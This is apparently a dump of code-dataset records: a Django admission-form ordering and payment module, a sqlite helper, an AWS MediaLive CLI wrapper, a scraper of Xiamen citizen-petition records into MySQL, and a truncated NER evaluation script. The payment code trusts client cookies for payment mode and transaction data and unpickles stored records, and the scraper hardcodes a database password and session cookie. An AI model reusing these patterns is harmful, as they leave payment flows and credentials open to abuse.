time.mktime( ( datetime.datetime.now() ).timetuple() ) )\r\n application_id = 'MCF-' + prog_id + '-' + clg_id + '-' + str( utc_time )\r\n return application_id\r\n\r\n def create_app_details( self, order_obj, app_obj, default_app_detail ):\r\n default_ser_detail = SerializeDetail.appdetail_manager.get_details( { 'app_detail' : default_app_detail } )\r\n default_ser_dict = default_ser_detail.__dict__\r\n default_app_detail_obj = default_app_detail\r\n del( default_ser_dict['id'] )\r\n del( default_ser_dict['app_detail_id'] )\r\n del( default_ser_dict['_state'] )\r\n\r\n default_app_dict = default_app_detail.__dict__\r\n temp_id = default_app_dict['id']\r\n del( default_app_dict['id'] )\r\n del( default_app_dict['app_form_id'] )\r\n del( default_app_dict['order_id'] )\r\n del( default_app_dict['_state'] )\r\n\r\n ordered_app_obj = app_obj.order_by( 'id' )\r\n app_form_val_list = ordered_app_obj.values( 'program__id', 'institute__id' )\r\n loop_index = 0\r\n for each_app_form in ordered_app_obj:\r\n\r\n default_extra_details = ExtraDetails.appdetail_manager.filter_manager( { 'appldetail' : temp_id } )\r\n\r\n app_form_info = app_form_val_list[loop_index]\r\n registration_no = self.create_ref_no( app_form_info )\r\n app_detail_dict = {'app_form':each_app_form, 'order':order_obj, 'registration_no':registration_no}\r\n default_app_dict.update( app_detail_dict )\r\n app_detail_obj = AppDetail.appdetail_manager.create_manager( default_app_dict )\r\n\r\n default_ser_dict.update( {'app_detail' : app_detail_obj} )\r\n SerializeDetail.appdetail_manager.create_manager( default_ser_dict )\r\n for default_extra_detail in default_extra_details:\r\n default_extra_dict = default_extra_detail.__dict__\r\n\r\n del( default_extra_dict['id'] )\r\n del( default_extra_dict['appldetail_id'] )\r\n del( default_extra_dict['_state'] )\r\n default_extra_dict.update( {'appldetail' : app_detail_obj} )\r\n \r\n ExtraDetails.appdetail_manager.create_manager( default_extra_dict )\r\n \r\n loop_index = loop_index + 1\r\n return True\r\n\r\n def get_unqualify_list( self ):\r\n session_key = self.get_session_key()\r\n kwrgs = { 'user' : self.request.user , 'session_key' : session_key, 'unqualify_flag' : True, 'completion_flag':False}\r\n app_ids = UserFormSelection.userflow_manager.filter_form_selection( kwrgs ).values_list( 'app_form_id', flat = True )\r\n unqualify_list = ApplicationForm.formconfig_manager.filter_manager( { 'id__in' : app_ids } )\r\n return unqualify_list\r\n\r\n def preview_app_details( self ):\r\n app_detail, ser_obj = self.get_app_detail()\r\n data_dict = {}\r\n prsn_detail = pickle_to_data( ser_obj.personal_details )\r\n acad_detail = pickle_to_data( ser_obj.academic_details )\r\n work_detail = pickle_to_data( ser_obj.work_details )\r\n data_dict.update( prsn_detail )\r\n data_dict.update( acad_detail )\r\n data_dict.update( work_detail )\r\n return data_dict\r\n\r\n def preview_iaf_details( self, order_id ):\r\n self.order_id = order_id\r\n order_obj = Order.objects.get( order_id = order_id )\r\n pay_obj = PaymentDetail.objects.get( order = order_obj )\r\n app_obj = AppDetail.objects.filter( order = order_obj )\r\n form_selected = app_obj.values( 'app_form__name', 'app_form__applicant_type__name', 'app_form__program__name', 'app_form__institute__name' )\r\n ser_obj = SerializeDetail.objects.get( app_detail = app_obj[0] )\r\n data_dict = {}\r\n prsn_detail = pickle_to_data( ser_obj.personal_details )\r\n acad_detail = pickle_to_data( ser_obj.academic_details )\r\n work_detail = pickle_to_data( ser_obj.work_details )\r\n data_dict.update( prsn_detail )\r\n data_dict.update( acad_detail )\r\n data_dict.update( work_detail )\r\n combineform = self.display_iaf_form_obj( data_dict )\r\n photo = app_obj[0].photograph\r\n all_data = {'order_obj': order_obj, 'pay_obj': pay_obj, 'form_selected': form_selected, 'data_dict': combineform , 'photo':photo}\r\n return all_data\r\n\r\nclass OrderDetail( AppClass ):\r\n\r\n def get_selected_apps( self ):\r\n session_key = self.get_session_key()\r\n kwargs = {'user' : self.request.user, 'session_key' : session_key, 'completion_flag' : False, 'unqualify_flag':False }\r\n app_form_ids = UserFormSelection.userflow_manager.filter_form_selection( kwargs ).values_list( 'app_form_id', flat = True )\r\n app_kwag = {'id__in' : app_form_ids }\r\n app_form_objs = ApplicationForm.formconfig_manager.filter_manager( app_kwag )\r\n return app_form_objs\r\n\r\n def create_orderid( self ):\r\n t_now = datetime.datetime.now()\r\n t_microsecond = str( t_now.microsecond )\r\n a = t_microsecond.zfill( 6 )[:3]\r\n utc_time = int( time.mktime( ( t_now ).timetuple() ) )\r\n order_id = \"MCF\" + str( utc_time ) + a\r\n return order_id\r\n\r\n def get_app_detail( self ):\r\n app_detail = AppDetail.appdetail_manager.get_details( { 'user' : self.request.user, 'app_form' : None, 'app_type': 'CAF'} )\r\n ser_obj = SerializeDetail.appdetail_manager.get_details( { 'app_detail' : app_detail} )\r\n return ( app_detail, ser_obj )\r\n\r\n def get_iaf_app_detail( self ):\r\n app_detail = AppDetail.objects.get( registration_no = self.request.COOKIES['temp_ref_no'] )\r\n ser_obj = SerializeDetail.appdetail_manager.get_details( { 'app_detail' : app_detail} )\r\n return ( app_detail, ser_obj )\r\n\r\n def get_order_detail( self, app_detail ):\r\n app_form_obj = self.get_selected_apps()\r\n qualified_app = app_form_obj.filter( xth_min_perc__lte = app_detail.high_school_percentage, xiith_min_perc__lte = app_detail.secondary_school_percentage )\r\n if not ( str( app_detail.graduation_percentage ) == '0.0' ):\r\n qualified_app = qualified_app.filter( grad_min_perc__lte = app_detail.graduation_percentage )\r\n unqualified_app = list( ( set( app_form_obj ) ) - ( set( qualified_app ) ) )\r\n session_key = self.get_session_key()\r\n for each in unqualified_app:\r\n filter_dict = { 'user' : self.request.user , 'session_key' : session_key, 'app_form_id' : each.id}\r\n UserFormSelection.userflow_manager.update_manager( filter_dict, { 'unqualify_flag' : True } )\r\n return ( qualified_app, unqualified_app )\r\n\r\n def get_qualified_list( self ):\r\n session_key = self.get_session_key()\r\n filter_dict = { 'user' : self.request.user , 'session_key' : session_key, 'unqualify_flag' : False, 'completion_flag':False}\r\n form_sel_ids = UserFormSelection.userflow_manager.filter_form_selection( filter_dict ).values_list( 'app_form_id', flat = True )\r\n qualified_app = ApplicationForm.formconfig_manager.filter_manager( { 'id__in':form_sel_ids} ).values( 'id', 'institute__logo', 'institute__name', 'name', 'expiry_date', 'original_price', 'discount_price' )\r\n total_price = ApplicationForm.formconfig_manager.filter_manager( { 'id__in':form_sel_ids} ).aggregate( discount = Sum( 'discount_price' ) )\r\n return ( qualified_app, total_price )\r\n\r\n def delete_application_id( self ):\r\n app_id = self.request.GET['app_id']\r\n session_key = self.get_session_key()\r\n kwargs = { 'user' : self.request.user , 'session_key' : session_key, 'app_form_id' : app_id}\r\n UserFormSelection.userflow_manager.delete_form_sel( kwargs )\r\n cache.delete( str( self.request.user.id ) + \"_\" + str( session_key ) + '_form_selected' )\r\n app_form_obj, total_price = self.get_qualified_list()\r\n return ( app_form_obj, total_price )\r\n\r\n\r\n def get_order_iaf_detail( self, app_detail, app_ids ):\r\n app_kwag = {'id__in' : app_ids }\r\n app_form_obj = ApplicationForm.formconfig_manager.filter_manager( app_kwag )\r\n qualified_app = app_form_obj.filter( xth_min_perc__lte = app_detail.high_school_percentage, xiith_min_perc__lte = app_detail.secondary_school_percentage, grad_min_perc__lte = app_detail.graduation_percentage )\r\n# unqualified_list = app_form_obj.filter(~Q(id__in = qualified_app.values_list('id',flat=True)))\r\n# unqualified_app = ( set( app_form_obj ) ) - ( set( qualified_app ) )\r\n unqualified_app = app_form_obj.filter( ~Q( id__in = qualified_app.values_list( 'id', flat = True ) ) ).values( 'id', 'name' )\r\n \"\"\"\r\n Qualification Check Should be checked here only.\r\n \"\"\"\r\n return ( qualified_app, unqualified_app )\r\n\r\n def get_total_amount( self, app_form_obj ):\r\n total_price = app_form_obj.aggregate( discount = Sum( 'discount_price' ) )\r\n total_prc_dict = {}\r\n total_prc_dict['total_disc'] = total_price['discount']\r\n return total_prc_dict\r\n\r\n def create_order( self, app_obj, photo, total_price ):\r\n order_id = self.create_orderid()\r\n payment_mode = int( self.request.COOKIES['payment_mode'] )\r\n if payment_mode in [1, 2, 5, 8, 7]:\r\n order_status = 'Payment Awaited'\r\n completed = False\r\n amount_received = 0\r\n elif photo == '':\r\n order_status = 'Photo Awaited'\r\n completed = True\r\n amount_received = int( total_price['discount'] )\r\n else:\r\n order_status = 'Application Submitted'\r\n completed = True\r\n amount_received = int( total_price['discount'] )\r\n data_dict = {'order_id':order_id, 'amount':int( total_price['discount'] ), 'no_of_application':int( total_price['app_count'] ),\r\n 'order_status':order_status, 'complete':completed, 'amount_received':amount_received}\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n flow = form_conf['app_flow']\r\n if flow == 'CAF':\r\n data_dict['user'] = self.request.user\r\n order_obj = Order.order_manager.create_order( data_dict )\r\n return order_obj\r\n\r\n\r\nclass PaymentSummary( AppClass ):\r\n\r\n def get_selected_apps( self ):\r\n session_key = self.get_session_key()\r\n kwargs = {'user' : self.request.user, 'session_key' : session_key, 'completion_flag' : False, 'unqualify_flag':False }\r\n if cache.get( str( self.request.user.id ) + \"_\" + str( session_key ) + '_form_selected_final' ):\r\n app_form_objs = cache.get( str( self.request.user.id ) + \"_\" + str( session_key ) + '_form_selected_final' )\r\n else:\r\n app_form_ids = UserFormSelection.userflow_manager.filter_form_selection( kwargs ).values_list( 'app_form_id', flat = True )\r\n app_kwag = {'id__in' : app_form_ids }\r\n app_form_objs = ApplicationForm.formconfig_manager.filter_manager( app_kwag )\r\n cache.set( str( self.request.user.id ) + \"_\" + str( session_key ) + '_form_selected_final', app_form_objs, 60 * 60 * 24 * 365 )\r\n return app_form_objs\r\n\r\n def get_app_detail( self ):\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n flow = form_conf['app_flow']\r\n if flow == 'CAF':\r\n app_detail = AppDetail.appdetail_manager.get_details( { 'user' : self.request.user, 'app_form' : None, 'app_type': 'CAF'} )\r\n else:\r\n app_detail = AppDetail.appdetail_manager.get_details( {'registration_no':self.request.COOKIES['temp_ref_no'], 'app_form' : None, 'app_type': 'IAF'} )\r\n ser_obj = SerializeDetail.appdetail_manager.get_details( { 'app_detail' : app_detail} )\r\n return ( app_detail, ser_obj )\r\n\r\n def get_iaf_app_detail( self ):\r\n app_detail = AppDetail.objects.get( registration_no = self.request.COOKIES['temp_ref_no'] )\r\n ser_obj = SerializeDetail.appdetail_manager.get_details( { 'app_detail' : app_detail} )\r\n return ( app_detail, ser_obj )\r\n\r\n def show_payment_options( self ):\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n flow = form_conf['app_flow']\r\n if flow == 'CAF':\r\n filter_dict = {'app_form__in':self.get_selected_apps()}\r\n else:\r\n app_cart_ids = self.request.COOKIES.get( 'app_cart_ids' )\r\n all_ids = app_cart_ids.split( ',' )\r\n filter_dict = {'app_form__in':all_ids}\r\n payment_options = AppFormPayment.formconfig_manager.filter_manager( filter_dict ).values( 'mode_of_payment__name', 'mode_of_payment__id' )\r\n payment_option = {}\r\n for each in payment_options:\r\n if each['mode_of_payment__id'] not in payment_option.keys():\r\n payment_option[each['mode_of_payment__id']] = each['mode_of_payment__name']\r\n\r\n return payment_option\r\n\r\n def payment_option_detail( self ):\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n flow = form_conf['app_flow']\r\n if flow == 'CAF':\r\n app_form_objs = self.get_selected_apps()\r\n else:\r\n app_form_objs = self.get_iaf_selected_apps()\r\n total = 0\r\n for i in app_form_objs:\r\n if int( i.discount_price ) > total:\r\n total = int( i.discount_price )\r\n\r\n try:\r\n app_detail = AppDetail.appdetail_manager.get_details( {'registration_no':self.request.COOKIES['temp_ref_no'], } )\r\n if app_detail:\r\n if app_detail.app_type == \"PU\":\r\n app_amount = {\"amount\":total}\r\n else:\r\n app_amount = app_form_objs.aggregate( amount = Sum( 'discount_price' ) )\r\n else:\r\n app_amount = app_form_objs.aggregate( amount = Sum( 'discount_price' ) )\r\n except:\r\n app_amount = app_form_objs.aggregate( amount = Sum( 'discount_price' ) )\r\n\r\n option_val = int( self.request.GET[ 'opt_val' ] )\r\n if flow == 'CAF':\r\n if option_val == 1:\r\n app_obj , ser_obj = self.get_app_detail()\r\n pers_detail = pickle_to_data( ser_obj.personal_details )\r\n try:\r\n PinCode.master_manager.get_paymentdetail( { 'pin_code' : int( pers_detail.get( 'correspondance_postal_code', '' ) ), 'display_flag':True} )\r\n pin_exist = 'True'\r\n except:\r\n pin_exist = 'False'\r\n data_dict = {'option_val':option_val, 'amount':app_amount, 'name':app_obj.name,\r\n 'address':pers_detail.get( 'correspondance_address', '' ), 'city':pers_detail.get( 'correspondance_city', '' ),\r\n 'pincode':pers_detail.get( 'correspondance_postal_code', '' ), 'contact_number':app_obj.mobile_number ,\r\n 'email':app_obj.email, 'pin_exist':pin_exist, 'app_id':app_obj.id\r\n }\r\n else:\r\n data_dict = {'option_val':option_val, 'amount':app_amount}\r\n else:\r\n data_dict = {'option_val':option_val, 'amount':app_amount, 'obj':app_form_objs[0]}\r\n\r\n return data_dict\r\n\r\n def create_payment_object( self, order_obj ):\r\n payment_mode = int( self.request.COOKIES['payment_mode'] )\r\n if payment_mode in [3, 4, 6]:\r\n status = 1\r\n received_date = datetime.datetime.now().date()\r\n else:\r\n status = 0\r\n received_date = None\r\n mode_of_pay = ModeOfPayment.master_manager.get_paymentdetail( {'id':int( payment_mode )} )\r\n reference_no = self.request.COOKIES.get( 'ref_no', None )\r\n transaction_id = self.request.COOKIES.get( 'trn_id', None )\r\n data_dict = {'order':order_obj, 'mode_of_payment':mode_of_pay, 'status':status, 'reference_number':reference_no, 'received_date':received_date, 'transaction_id':transaction_id}\r\n payment_obj = PaymentDetail.paymentdetail_manager.create_paymentdetail( data_dict )\r\n return payment_obj\r\n\r\n def create_txn_number( self ):\r\n utc_time = int( time.mktime( ( datetime.datetime.now() ).timetuple() ) )\r\n user = str( self.request.user.email ).upper().split( '@' )[0]\r\n txn_num = str( user[0:3] ) + str( utc_time )\r\n return txn_num\r\n\r\n def save_payment_details( self ):\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n flow = form_conf['app_flow']\r\n post_dict = self.request.POST\r\n if int( post_dict['payment_mode'] ) == 1:\r\n if flow == 'CAF':\r\n try:\r\n PinCode.master_manager.get_paymentdetail( { 'pin_code' : int( post_dict['pincode'] ) } )\r\n return True\r\n except:\r\n return False\r\n else:\r\n return True\r\n elif int( post_dict['payment_mode'] ) in [2, 5, 7, 8]:\r\n return True\r\n else:\r\n app_amount = post_dict['amount']\r\n if not flow == 'CAF':\r\n app_obj, ser_obj = self.get_iaf_app_detail()\r\n pers_detail = pickle_to_data( ser_obj.personal_details )\r\n session_key, user_id, email = None, '0', app_obj.email\r\n else:\r\n session_key = self.get_session_key()\r\n user_id = str( self.request.user.id )\r\n email = self.request.user.email\r\n payment_mode = post_dict['payment_mode']\r\n utc_time = int( time.mktime( ( datetime.datetime.now() ).timetuple() ) )\r\n ref_no = str( flow ) + str( utc_time )\r\n if flow == 'PU':\r\n return HttpResponseRedirect( 'http://' + PG_ARGS['request_host'] + '/pg_request/?id=' + user_id + '&payment_mode=' + str( payment_mode ) + '&name=' + email + '&request_http=' + PG_ARGS['request_http'] + '&amount=' + str( app_amount ) + '&trn_id=' + ref_no + '&session_id=' + str( session_key ) + '&rurl=http://' + 'www.pupadmissions.com' + '/appform/online-response/' )\r\n return HttpResponseRedirect( 'http://' + PG_ARGS['request_host'] + '/pg_request/?id=' + user_id + '&payment_mode=' + str( payment_mode ) + '&name=' + email + '&request_http=' + PG_ARGS['request_http'] + '&amount=' + str( app_amount ) + '&trn_id=' + ref_no + '&session_id=' + str( session_key ) + '&rurl=http://' + PG_ARGS['request_ip'] + '/appform/online-response/' )\r\n\r\n def online_mode_response( self ):\r\n attrsx = {}\r\n for i, j in self.request.GET.items():\r\n attrsx[i.encode( 'rot13' )] = j.encode( 'rot13' )\r\n if attrsx['response_code'] == '0':\r\n return ( True, attrsx['mode'], attrsx['transaction_ref_no'], attrsx['transaction_id'] )\r\n else:\r\n return ( False, attrsx['mode'], attrsx['transaction_ref_no'], attrsx['transaction_id'] )\r\n\r\n def get_payment_mode( self, order_id ):\r\n payment_mode = PaymentDetail.paymentdetail_manager.get_paymentdetail( {'order__order_id':order_id} ).mode_of_payment.id\r\n return payment_mode\r\n\r\n def get_cod_info( self, order_id ):\r\n cod_obj = CODPayment.paymentdetail_manager.get_paymentdetail( { 'payment_obj__order__order_id' : order_id } )\r\n return cod_obj\r\n\r\nclass AppFlowClass( object ):\r\n\r\n request = ''\r\n\r\n def __init__( self , request, **kwargs ):\r\n self.request = request\r\n self.app_info_obj = AppInfo( self.request )\r\n self.order_obj = OrderDetail( self.request )\r\n self.payment_obj = PaymentSummary( self.request )\r\n self.app_class_obj = AppClass( self.request )\r\n self.template_obj = TemplateClass( self.request )\r\n\r\n def get_clg_list( self, app_obj ):\r\n clg_list = ''\r\n return clg_list\r\n\r\n def get_qualified_list( self ):\r\n session_key = self.app_class_obj.get_session_key()\r\n filter_dict = { 'user' : self.request.user , 'session_key' : session_key, 'unqualify_flag' : False, 'completion_flag':False}\r\n form_sel_ids = UserFormSelection.userflow_manager.filter_form_selection( filter_dict ).values_list( 'app_form_id', flat = True )\r\n qualified_app = ApplicationForm.formconfig_manager.filter_manager( { 'id__in':form_sel_ids} )\r\n total_price = qualified_app.aggregate( discount = Sum( 'discount_price' ), app_count = Count( 'id' ) )\r\n return ( qualified_app, total_price )\r\n\r\n def create_application_records( self ):\r\n session_key = self.app_class_obj.get_session_key()\r\n app_obj, total_price = self.get_qualified_list()\r\n clg_list = self.get_clg_list( app_obj )\r\n default_app_detail = self.app_info_obj.get_default_app_detail()\r\n form_selected = UserFormSelection.userflow_manager.filter_form_selection( {'user': self.request.user, 'session_key': session_key , 'completion_flag':False, 'unqualify_flag' : False} ).order_by( '-id' )\r\n if form_selected[0].completion_flag == False:\r\n order_obj = self.order_obj.create_order( app_obj, default_app_detail.photograph, total_price )\r\n self.app_info_obj.create_app_details( order_obj, app_obj, default_app_detail )\r\n payment_obj = self.payment_obj.create_payment_object( order_obj )\r\n form_selected.update( completion_flag = True )\r\n if self.request.user.is_authenticated():\r\n kwargs = {'user' : self.request.user, 'app_form':None}\r\n app_detail = default_app_detail\r\n program_name = Program.master_manager.get( slug = str( self.request.COOKIES['program_slug'] ) ).name\r\n sender_dict = {'email':app_detail.email, 'mobile_number':app_detail.mobile_number}\r\n data_dict = {'transaction_no':order_obj.order_id, 'amount':str( total_price['discount'] ), 'no_of_clgs':str( total_price['app_count'] ),\r\n 'program':program_name, 'colleges':clg_list, 'name':app_detail.name,\r\n 'payment_mode':payment_obj.mode_of_payment.name\r\n }\r\n payment_mode = payment_obj.mode_of_payment.id\r\n if payment_mode == 1:\r\n key = 'APP_COD'\r\n persnl_data = SerializeDetail.appdetail_manager.get_details( {'app_detail__user__id':default_app_detail.user_id, 'app_detail__app_form':None} )\r\n persnl_dict = pickle_to_data( persnl_data.personal_details )\r\n corresp_dict = {'name':default_app_detail.name, 'address':persnl_dict['correspondance_address'],\r\n 'city':persnl_dict['correspondance_city'], 'pincode':persnl_dict['correspondance_postal_code'],\r\n 'mobile_number':persnl_dict['mobile_number'], }\r\n elif payment_mode == 2:\r\n key = 'APP_BANK'\r\n corresp_dict = {}\r\n else:\r\n key = 'APP_ONLINE'\r\n order_obj.completed = True\r\n order_obj.save()\r\n key2 = 'APP_SUBMITTED'\r\n corresp_dict = {}\r\n send_email_sms( sender_dict, key2, data_dict )\r\n send_email_sms( sender_dict, key, data_dict )\r\n app_obj_details = app_obj.values( 'institute__name', 'name', 'type_of_form', 'program__name', 'discount_price' )\r\n track_dict = {'app_details':app_obj_details, 'order_id':order_obj.order_id, 'order_amount':str( total_price['discount'] ), }\r\n else:\r\n kwargs = {'app_form__id' : int( form_selected[0].app_form_id ) , 'user' : self.request.user }\r\n app_detail = AppDetail.appdetail_manager.filter_manager( kwargs ).order_by( '-id' )[0]\r\n order_obj = app_detail.order\r\n payment_obj = PaymentDetail.paymentdetail_manager.get_paymentdetail( { 'order' : order_obj } )\r\n track_dict = {}\r\n persnl_data = SerializeDetail.appdetail_manager.get_details( {'app_detail__id':default_app_detail.id} ).personal_details\r\n persnl_dict = pickle_to_data( persnl_data )\r\n corresp_dict = {'name':default_app_detail.name, 'address':persnl_dict['correspondance_address'],\r\n 'city':persnl_dict['correspondance_city'], 'pincode':persnl_dict['correspondance_postal_code'],\r\n 'mobile_number':persnl_dict['mobile_number'], }\r\n app_details = AppDetail.appdetail_manager.filter_manager( { 'order' : order_obj} ).values( 'app_form__institute__name', 'app_form__name' )\r\n payment_mode = payment_obj.mode_of_payment.name\r\n confirm_dict = {'app_details':app_details, 'order_id':order_obj.order_id,\r\n 'order_date':order_obj.order_date, 'order_amount':order_obj.amount,\r\n 'payment_mode':payment_mode, 'app_count':order_obj.no_of_application,\r\n 'payment_mode_id':payment_obj.mode_of_payment.id\r\n }\r\n if corresp_dict != {}:\r\n confirm_dict.update( corresp_dict )\r\n return ( confirm_dict, track_dict )\r\n\r\n def dashboard( self ):\r\n try:\r\n app_obj, ser_obj = self.payment_obj.get_app_detail()\r\n prsnl_detail = pickle_to_data( ser_obj.personal_details )\r\n except:\r\n app_obj = UserProfile.objects.get( user__username = self.request.user )\r\n user_orders = Order.order_manager.filter_order( {'user':self.request.user} ).order_by( '-id' ).values( 'order_id', 'order_date', 'amount' , 'complete' , 'order_status' )\r\n order_apps = []\r\n form_ids_list = []\r\n trans_str = ''\r\n pref_count = 0\r\n for each_order in user_orders:\r\n app_details = AppDetail.appdetail_manager.filter_manager( {'order__order_id':str( each_order['order_id'] )} ).values( 'id', 'app_form__institute__name', 'app_form__institute__logo', 'app_form__name', 'registration_no', 'app_form__preference_choice', 'photograph' )\r\n payment_detail = PaymentDetail.paymentdetail_manager.get_paymentdetail( {'order__order_id':str( each_order['order_id'] )} )\r\n form_ids = list( app_details.values_list( 'app_form__id', flat = True ) )\r\n form_ids_list.extend( form_ids )\r\n app_detail_list = []\r\n for apps in app_details:\r\n if apps['app_form__preference_choice'] != 'No Preference':\r\n crs_pref = CoursePreference.appdetail_manager.filter_manager( { 'app_detail__id':apps['id']} )\r\n if not crs_pref:\r\n pref_count = pref_count + 1\r\n try:\r\n app_status = AppCollegeStatus.appcollegestatus_manager.filter_appcollegestatus( {'app_detail':apps, 'stage':'Completed'} ).order_by( '-id' )[0]\r\n except:\r\n app_status = None\r\n app_detail_list.append( [apps, app_status] )\r\n order_apps.append( [each_order, payment_detail, app_detail_list] )\r\n if not each_order['complete']:\r\n trans_str = trans_str + each_order['order_id'] + ', '\r\n trans_str.rstrip( ',' )\r\n prog_list = ApplicationForm.formconfig_manager.filter_manager( {'id__in':form_ids_list} ).values_list( 'program__id' )\r\n filled_forms = ApplicationForm.formconfig_manager.exclude_manager( {'id__in':form_ids_list} )\r\n interested_clgs = filled_forms.filter( program__id__in = prog_list ).values( 'institute__logo', 'institute__name', 'institute__slug', 'slug', 'id' ).order_by( '?' )[:4]\r\n response = render_to_response( 'studentinfo/dashboard.html', locals(), context_instance = RequestContext( self.request ) )\r\n return response\r\n","sub_path":"zlpbyyrtrsbez/studentinfo/appdetail.py","file_name":"appdetail.py","file_ext":"py","file_size_in_byte":61273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"523818663","text":"import os\nimport contextlib\nimport threading\nimport sqlite3\nfrom conf import settings\n\n_connection = None\n_lock = threading.RLock()\n\n\n@contextlib.contextmanager\ndef get_connection():\n global _connection\n if not _connection:\n _connection = sqlite3.connect(settings.DB_NAME, isolation_level=None)\n\n with _lock:\n yield _connection\n\n\ndef query(query, params=[]):\n with get_connection() as conn:\n cursor = conn.cursor()\n cursor.execute(query, params)\n\n\ndef fetchall(query, params=[]):\n with get_connection() as conn:\n cursor = conn.cursor()\n cursor.execute(query, params)\n result_set = cursor.fetchall()\n\n return result_set\n\n\ndef fetchone(query, params=[]):\n with get_connection() as conn:\n cursor = conn.cursor()\n cursor.execute(query, params)\n result = cursor.fetchone()\n\n return result\n\n\ndef init_db():\n with get_connection() as conn:\n cursor = conn.cursor()\n cursor.execute('''\n CREATE TABLE IF NOT EXISTS `message` (\n `message_id` integer primary key,\n `mail_from` text,\n `mail_to` text,\n `content_type` text,\n `subject` text,\n `received_date` text,\n `text_body` text,\n `html_body` text,\n `original` text\n )\n ''')\n\n\ndef delete_db():\n global _connection\n _connection and _connection.close()\n settings.DELETE_DB_ON_EXIT and os.remove(settings.DB_NAME)\n","sub_path":"db/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"263414744","text":"#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import write_one_parameter\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/accept-input-device-transfer.html\nif __name__ == '__main__':\n \"\"\"\n\tcancel-input-device-transfer : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/cancel-input-device-transfer.html\n\tlist-input-device-transfers : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/list-input-device-transfers.html\n\treject-input-device-transfer : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/medialive/reject-input-device-transfer.html\n \"\"\"\n\n parameter_display_string = \"\"\"\n # input-device-id : The unique ID of the input device to accept. For example, hd-123456789abcdef.\n \"\"\"\n add_option_dict = {}\n\n #######################################################################\n # parameter display string\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n write_one_parameter(\"medialive\", \"accept-input-device-transfer\", \"input-device-id\", add_option_dict)\n\n\n\n\n\n","sub_path":"medialive_write_1/input-device-transfer_accept.py","file_name":"input-device-transfer_accept.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"193269045","text":"import requests\nimport json\nimport pymysql\n\n\ndef get(num):\n conn = pymysql.connect(\n host=\"localhost\",\n port=3306,\n user=\"root\",\n password=\"123456\",\n database=\"goods\",\n charset=\"utf8\",\n )\n cursor = conn.cursor()\n url = \"http://www.xm12345.gov.cn/WebSite/GKListItem\"\n\n payload = \"start={}&limit=10&prm_BeginOn_StartTime_=&prm_BeginOn_EndTime_=&Nature=&Keyword=&AreaName=%E4%B8%8D%E9%99%90\".format(num,)\n headers = {\n 'Connection': 'keep-alive',\n 'Accept': '*/*',\n 'Origin': 'http://www.xm12345.gov.cn',\n 'X-Requested-With': 'XMLHttpRequest',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'Referer': 'http://www.xm12345.gov.cn/WebSite/PublicSq?page=public&Isgkxd=1',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Cookie': 'ASP.NET_SessionId=ycrrilnjgipbs3rbgkvd2k0f'\n }\n\n response = requests.request(\"POST\", url, headers=headers, data = payload).text\n lists = json.loads(response)[\"response\"][\"docs\"]\n for l in lists:\n PetitionId = l[\"PetitionId\"]\n a_url = \"http://www.xm12345.gov.cn/WebSite/SqDetailNew?id={}\".format(PetitionId,)\n # 诉求标题\n title = l[\"Title\"]\n # 受理编号\n PetitionNumber = l[\"PetitionNumber\"]\n # 诉求内容\n Content = l[\"Content\"]\n # 事件地址\n EventAddress = l[\"EventAddress\"]\n # 办理单位\n ProcessDeptName = l[\"ProcessDeptName\"]\n # 办理结果\n EndPoint = l[\"EndPoint\"]\n try:\n content = \"诉求标题:\" + title + \"\\n\" + \"受理编号:\" + PetitionNumber + \"\\n\" + \"诉求内容:\" + Content + \"\\n\" +\\\n \"事件地址:\" + EventAddress + \"\\n\" + \"办理单位:\" + ProcessDeptName + \"\\n\" + \"办理结果:\" + EndPoint\n if len(content) > 0:\n print(title)\n web_source = \"厦门市\"\n try:\n sql = \"insert into yiersan(title, content, detail_url, web_source) values(%s, %s, %s, %s)\"\n cursor.execute(sql, (title, content, a_url, web_source))\n conn.commit()\n except Exception as e:\n print(e)\n except Exception as e:\n print(e)\n\n\nif __name__ == \"__main__\":\n for i in range(1000, 3000):\n print(i)\n get(i*10)","sub_path":"03/0320/厦门市.py","file_name":"厦门市.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"548982598","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 17 02:36:16 2019\r\n\r\n@author: Αλέξανδρος\r\n\"\"\"\r\nimport time\r\nstart_time = time.time()\r\n\r\nents = []\r\ntexts = []\r\n#Genes/Proteins, Anatomy, Disorders\r\nett = [ \"Genes/Proteins\", \"Anatomy\", \"Disorders\"]\r\ntpB = [0, 0, 0] #true positives\r\ntpI = [0, 0, 0]\r\ntpO = 0\r\nretrievedB = [0, 0, 0]\r\nretrievedI = [0, 0, 0]\r\nretrievedO = 0\r\nrelevantB = [0, 0, 0]\r\nrelevantI = [0, 0, 0]\r\nrelevantO = 0\r\n\r\nwith open(\"3. neji iob\\\\cellfinder.iob2\", encoding=\"utf-8\") as fi:\r\n \r\n line = 